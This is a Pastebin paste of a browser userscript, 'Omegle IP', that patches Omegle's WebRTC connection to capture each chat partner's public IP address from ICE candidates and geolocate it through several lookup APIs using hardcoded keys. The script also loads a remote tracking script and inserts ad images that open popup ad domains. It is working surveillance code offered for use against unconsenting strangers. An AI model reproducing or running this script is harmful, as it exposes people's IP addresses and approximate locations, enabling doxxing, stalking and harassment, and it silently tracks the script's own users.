Advertisement
Guest User

Omegle ip puller script

a guest
Sep 16th, 2021
8,274
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 6.97 KB | None | 0 0
  1. /* eslint-disable no-redeclare */
  2. // ==UserScript==
  3. // @name Omegle IP
  4. // @name:de Omegle IP
  5. // @namespace https://omegleip.kaaaxcreators.de
  6. // @version 1.4
  7. // @description You see the IP in the chat window
  8. // @description:de Du siehst die IP im Chat
  9. // @author Bernd Storath
  10. // @include https://omegle.com/*
  11. // @include https://www.omegle.com/*
  12. // @grant none
  13. // @license GPL-3.0-only; https://raw.githubusercontent.com/kaaaxcreators/omegleip/master/LICENSE
  14. // @run-at document-end
  15. // @antifeature ads, tracking
  16. // ==/UserScript==
  17.  
  18. function setAttributes(elements, attributes) {
  19. Object.keys(attributes).forEach(function (name) {
  20. elements.setAttribute(name, attributes[name]);
  21. })
  22. }
  23.  
  24. (function () {
  25. var ga = document.createElement('script');
  26. ga.type = 'text/javascript';
  27. ga.async = true;
  28. ga.src = 'https://ackee.server.kaaaxcreators.de/tracker.js';
  29. setAttributes(ga, {
  30. "data-ackee-server": "https://ackee.server.kaaaxcreators.de",
  31. "data-ackee-domain-id": "ffb2160c-f29d-4e49-bfc7-dc5dd1120426",
  32. "data-ackee-opts": '{"detailed":true}'
  33. })
  34. var s = document.getElementsByTagName('script')[0];
  35. s.parentNode.insertBefore(ga, s);
  36. })();
  37. var tracker = "https://whatismyipaddress.com/ip/"; // sets whats the link you get redirected to when pressing "More Information"
  38. var api_list = ["8145d1cec79548918b7a1049655d3564", "d605ac624e444e28ad44ca5239bfcd5f", "4ee7c1b7bbd84348b5eb17dc19337b2a", "aefc960b2bcf4db3a4ab0180833917ff", "cdd0e14f2a724d86b5a9c319588bf46e", "0a8c250fb87a481d9da1292d85a209e5"]
  39. var api_key = api_list[Math.floor(Math.random() * api_list.length)];
  40. var tagline = document.getElementById("tagline")
  41. var height = tagline.offsetHeight;
  42. var ip,city,region,country,isp;
  43. tagline.innerHTML = "<div onclick=\"myFunctions.schnansch64()\" style=\"display:inline-block; text-align: center; margin: auto; cursor: pointer;\"><div style=\"float: left; padding-right: 5px;\"><img src=\"https://i.imgur.com/N3XyfVk.gif\" alt=\"ad\" height=" + height + "></div>" + "<div style=\"float: left; padding-right: 5px;\"><img src=\"https://i.imgur.com/pKJaNZQ.gif\" alt=\"ad\" height=" + height + "></div>" + "<div style=\"float: left; padding-right: 5px;\"><img src=\"https://imgur.com/iCisxBM.gif\" alt=\"ad\" height=" + height + "></div><div style=\"float: left;\"><img src=\"https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcRqjE_SCfhipjea8SFmhtpNV5bV5q2oKf9NNw&usqp=CAU\" alt=\"ad\" height=" + height + "></div></div>"
  44. window.oRTCPeerConnection = window.oRTCPeerConnection || window.RTCPeerConnection // connects to the rtc client
  45. window.RTCPeerConnection = function (...args) {
  46. const pc = new window.oRTCPeerConnection(...args)
  47. pc.oaddIceCandidate = pc.addIceCandidate
  48. pc.addIceCandidate = async function (iceCandidate, ...rest) {
  49. const fields = iceCandidate.candidate.split(' ')
  50. if (fields[7] === 'srflx') {
  51. try {
  52. /**
  53. * the IP of the stranger
  54. * @type string
  55. */
  56. var strangerIP = fields[4];
  57. /**
  58. * First Chat Text
  59. * @type HTMLDivElement
  60. */
  61. var list = document.getElementsByClassName("logitem")[0];
  62. /**
  63. * Display the Information of the Stranger
  64. * @param {any} data The returned data from the server
  65. * @param {'ipapi' | 'bigdatacloud' | 'ipwhois' | 'freegeoip' | 'extreme-ip-lookup'} endpoint The Endpoint of the API Request
  66. */
  67. // eslint-disable-next-line no-inner-declarations
  68. function setText(data, endpoint) {
  69. switch (endpoint) {
  70. case 'ipapi':
  71. ip = data.ip;
  72. city = data.city;
  73. region = data.region;
  74. country = data.country_name;
  75. isp = data.org;
  76. break;
  77. case 'bigdatacloud':
  78. ip = data.ip;
  79. city = data.location.localityName;
  80. region = data.location.isoPrincipalSubdivision;
  81. country = data.country.isoName;
  82. isp = data.network.organisation;
  83. break;
  84. case 'ipwhois':
  85. ip = data.ip;
  86. city = data.city;
  87. region = data.region;
  88. country = data.country;
  89. isp = data.isp;
  90. break;
  91. case 'freegeoip':
  92. ip = data.ip;
  93. city = data.city;
  94. region = data.region_name;
  95. country = data.country_name;
  96. isp = '';
  97. break;
  98. case 'extreme-ip-lookup':
  99. ip = data.query;
  100. city = data.city;
  101. region = data.region;
  102. country = data.country;
  103. isp = data.org;
  104. break;
  105. default:
  106. ip = '';
  107. city = '';
  108. region = '';
  109. country = '';
  110. isp = '';
  111. break;
  112. }
  113. /**
  114. * Div with Stranger Details
  115. */
  116. var baseElement = document.createElement('div');
  117. /**
  118. * The Tracker Link
  119. */
  120. var link = document.createElement('a');
  121. link.href = tracker + strangerIP;
  122. link.style = "color:black;";
  123. link.target = "_blank";
  124. link.textContent = "More Information"
  125. baseElement.innerHTML = "IP: " + ip + "<br/>" + "City: " + city + "<br/>" + "Region: " + region + "<br/>" + "Country: " + country + "<br/>" + "ISP: " + isp + "<br/>" + link.outerHTML;
  126. list.innerHTML = baseElement.innerHTML;
  127. }
  128. var result = await fetch('https://ipapi.co/' + strangerIP + "/json/");
  129. if (result.ok) {
  130. var data = await result.json();
  131. setText(data, 'ipapi');
  132. } else {
  133. var result = await fetch('https://api.bigdatacloud.net/data/ip-geolocation-full?ip=' + strangerIP + '&key=' + api_key);
  134. if (result.ok) {
  135. var data = await result.json();
  136. setText(data, 'bigdatacloud');
  137. }
  138. else {
  139. var result = await fetch('https://ipwhois.app/json/' + strangerIP);
  140. var data = await result.json();
  141. if (result.ok && data.message !== "you've hit the monthly limit") {
  142. setText(data, 'ipwhois');
  143. } else {
  144. var result = await fetch('https://freegeoip.app/json/' + strangerIP);
  145. if (result.ok) {
  146. var data = await result.json();
  147. setText(data, 'freegeoip');
  148. }
  149. else {
  150. var result = await fetch('https://extreme-ip-lookup.com/json/' + strangerIP);
  151. if (result.ok) {
  152. var data = await result.json();
  153. setText(data, 'extreme-ip-lookup');
  154. } else {
  155. list.textContent = 'Could not connect to any API <br />Try your own API Key';
  156. }
  157. }
  158. }
  159. }
  160. }
  161.  
  162. } catch (err) {
  163. console.error(err.message || err);
  164. if (err.message == 'Failed to fetch') {
  165. list.textContent = 'Try disabling your adblocker'
  166. } else {
  167. list.textContent = `An Error occurred: ${err.message || err}`;
  168. }
  169. }
  170. }
  171. return pc.oaddIceCandidate(iceCandidate, ...rest)
  172. }
  173. return pc
  174. }
  175.  
  176. var myFunctions = window.myFunctions = {};
  177. myFunctions.schnansch64 = function () {
  178. var links = ["//stawhoph.com/afu.php?zoneid=3948439", "//whugesto.net/afu.php?zoneid=3924203", "//stawhoph.com/afu.php?zoneid=3948441"];
  179. var link = links[Math.floor(Math.random() * links.length)];
  180. window.open(link, "ad");
  181. };
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement